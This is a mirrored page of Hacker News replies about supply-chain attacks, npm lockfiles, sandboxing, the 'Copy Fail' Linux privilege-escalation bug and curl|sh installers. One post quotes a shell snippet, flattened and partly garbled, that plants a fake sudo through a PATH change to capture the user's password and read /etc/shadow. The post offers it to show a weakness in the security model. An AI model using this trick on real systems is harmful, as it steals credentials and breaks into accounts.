Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Maybe you shouldn't install new software for a bit

xeiaso.net

Post reply on HN
Print view View original

371–380 of 497 posts

Re: Maybe you shouldn't install new software for a bit

#371

Post by yearolinuxdsktp »

cxr wrote: post #344
user34283 wrote: post #291

Earlier quoted context omitted.

I can’t comment on the behavior of ancient npm versions, but with modern npm I would not even know how to skip using a lockfile. As for the parent comment about not using the lockfile for the production build, that’s just incredibly incompetent. Maybe they should hire someone who knows what they are doing. Contrary to the popular beliefs of backend engineers online, you also need some competency to do frontend proper…

> In this case what’s needed is „npm ci“ instead of „npm install“ or better „pnpm install —frozen-lockfile“. The grugbrain developer says, "I can use git-add to keep a version controlled copy of the library in my app's source tree with no extra steps after git-clone." (Pop quiz: what problem were the creators of NPM's lockfile format trying to solve?)

Lock files were begrudgingly introduced after people who aren’t playing around with move fast and break things cried foul about dependencies being updated unexpectedly. The “semantic versioning” dogma and the illusion of safety that it brings was the original motivation. At NPM’s creation time, mature dep management ecosystems did not have floating versions, they were always pinned.

When you are talking about checking your dependencies in the source tree, you are effectively pinning exact versions, and not using floating/tilde versioning syntax.

Re: Maybe you shouldn't install new software for a bit

#372

Post by yreg »

ekjhgkejhgk wrote: post #350
XCabbage wrote: post #329

Sorry, I don't get it. What's the chain of reasoning that connects "there are a couple of new Linux local privilege escalation exploits" to "don't install any new software"? Is the threat we're supposed to be concerned about here just a package maintainer publishing malware that uses these exploits? (Naively, not knowing much about apt-get or yum or other OS package managers, I have always assumed that 1. only a hand…

[flagged]

You should in regards to computer security.

Re: Maybe you shouldn't install new software for a bit

#373

Post by tome »

mike_hearn wrote: post #360
josephg wrote: post #341

Earlier quoted context omitted.

> I wrote an essay explaining the issues here This essay only addresses my second point - capabilities within a program. It doesn't address OS level capabilities at all. But even in the space of programming languages, I find this essay extremely unconvincing. Like, you raise points like this: > Here are some problems you’ll have to solve in order to sandbox libraries: What is your threat model? How do you stop compon…

The article talks about OS capabilities in the second part when it discusses Mojo, which is based on IPC. > The solution is to design a language such that if I import leftpad, then call it, my computer can't get hacked. That requirement may seem clear right now, but the moment you talk to other people about your language you'll find there's no agreement on what "get hacked" means. Some people will consider calling ex…

> > Haskell already passes a type object as an argument to anything which does IO. They don't do it for security. Turns out having pure functions separated from non-pure functions is a beautiful thing.

> But almost nobody uses Haskell

Sad, but true

> partly because of poor ergonomics like this!

I'm somewhat dubious that's the reason, partly because I find such ergonomic excellent! Especially those provided by my capability system Bluefin: https://hackage.haskell.org/package/bluefin

Re: Maybe you shouldn't install new software for a bit

#374

Post by user34283 »

cxr wrote: post #344
user34283 wrote: post #291

Earlier quoted context omitted.

I can’t comment on the behavior of ancient npm versions, but with modern npm I would not even know how to skip using a lockfile. As for the parent comment about not using the lockfile for the production build, that’s just incredibly incompetent. Maybe they should hire someone who knows what they are doing. Contrary to the popular beliefs of backend engineers online, you also need some competency to do frontend proper…

> In this case what’s needed is „npm ci“ instead of „npm install“ or better „pnpm install —frozen-lockfile“. The grugbrain developer says, "I can use git-add to keep a version controlled copy of the library in my app's source tree with no extra steps after git-clone." (Pop quiz: what problem were the creators of NPM's lockfile format trying to solve?)

That breaks if the library uses build scripts, like for setting up native binaries, or native modules linked against the specific Node version.

If you want a vendored deps model you can look at Yarn Plug and Play which does this via .zip files.

However, I would just stick with regular pnpm and installs.

Re: Maybe you shouldn't install new software for a bit

#375

Post by john_strinlai »

ekjhgkejhgk wrote: post #350
XCabbage wrote: post #329

Sorry, I don't get it. What's the chain of reasoning that connects "there are a couple of new Linux local privilege escalation exploits" to "don't install any new software"? Is the threat we're supposed to be concerned about here just a package maintainer publishing malware that uses these exploits? (Naively, not knowing much about apt-get or yum or other OS package managers, I have always assumed that 1. only a hand…

[flagged]

for unknown-to-me reasons, the overlap between furries and some of the smartest security people in the world is way more than you would think

and even if it wasnt, this is about as sensible as not taking advice from left-handed people (i.e. completely nonsensical).

Re: Maybe you shouldn't install new software for a bit

#376

Post by cxr »

user34283 wrote: post #374
cxr wrote: post #344

Earlier quoted context omitted.

> In this case what’s needed is „npm ci“ instead of „npm install“ or better „pnpm install —frozen-lockfile“. The grugbrain developer says, "I can use git-add to keep a version controlled copy of the library in my app's source tree with no extra steps after git-clone." (Pop quiz: what problem were the creators of NPM's lockfile format trying to solve?)

That breaks if the library uses build scripts, like for setting up native binaries, or native modules linked against the specific Node version. If you want a vendored deps model you can look at Yarn Plug and Play which does this via .zip files. However, I would just stick with regular pnpm and installs.

> That breaks if the library uses build scripts

Uh… no.

> setting up native binaries, or native modules linked against the specific Node version

So the majority of projects—those that don't use binary NodeJS modules—don't have a reason for sidestepping the primary VCS and going along with npm's shoddily designed overlay version control approach?

> However, I would just stick with regular pnpm and installs.

You're not answering the question. npm isn't bedrock, and pnpm certainly isn't. If you're going to introduce (mandate) the use of a tool in the workflow, you should be able to justify it by explaining your rationale for introducing it (and making everyone deal with the associated costs). You should at minimum be able to provide a lucid explanation of the tradeoffs. For good measure, you should be able to disprove the "NPM Null Hypothesis"; you should be able to state a straightforward answer to the question, "What problem is this supposed to be solving?"

Re: Maybe you shouldn't install new software for a bit

#377

Post by sergeykish »

kro wrote: post #354
sergeykish wrote: post #304

Linux distributions do not need Copy Fail to get root access: echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.bashrc mkdir -p .local/bin/ cat .local/bin/sudo read -rs -p "[sudo] password for $USER: " PASSWORD echo "" echo "$PASSWORD" | /usr/bin/sudo -S head /etc/shadow EOF chmod +x .local/bin/sudo attack on next sudo call, shows data accessible only to root. Our security model based on distributions verifying packa…

These copyfail exploits allow an unprivileged (daemon/app) user (not in sudoers) to get root without interaction from the original system maintainer. It's quite different from PATH-injecting an already privileged user. Also, these memory corruptions can likely be used as container escape primitives too. Albeit not easily. It's a serious break of a security boundary. Yes, container layer adds defense, and normal unix…

Copy Fail can't affect files it can't access.

PoC attack on k8s [1] claims execution through sibling layers of kube-proxy, host filesystem access through /dev/ [2].

[1] https://github.com/Percivalll/Copy-Fail-CVE-2026-31431-Kuber...

[2] https://github.com/Percivalll/Copy-Fail-CVE-2026-31431-Kuber...

Re: Maybe you shouldn't install new software for a bit

#378

Post by JulienBrouchier »

marcus_holmes wrote: post #57

This was always a nightmare waiting to happen. The sheer mass of packages and the consequent vast attack surface for supply chain attacks was always a problem that was eventually going to blow up in everyone's face. But it was too convenient. Anyone warning about it or trying to limit the damage was shouted down by people who had no experience of any other way of doing things. "import antigravity" is just too easy to…

There are positive things happening too. Recently, npm released min-release-age filtering the lets you only import packages that have a certain vintage, protecting you from all these supply chain attacks as they tend to be quickly detected.

https://github.com/npm/cli/releases/tag/v11.10.0

Re: Maybe you shouldn't install new software for a bit

#380

Post by 1718627440 »

TeamDman wrote: post #352
1718627440 wrote: post #270

Earlier quoted context omitted.

> key projects use "curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh" as default suggestion This is exactly why some (including me) don't take these projects seriously. Like you claim to design a language for security, and this is how you tell me to install it????

What alternative do you propose for downloading binaries off the internet, placing them in the "right spot" and doing post-install operations like updating PATH that dont have gotchas equivalent to running "untrusted" code like curl|sh?

The one that is the norm on Linux distros and on nearly all mobile OSs: signed packages. 'curl | sh' doesn't even allow to observe the package while or after installing.
Post reply on HN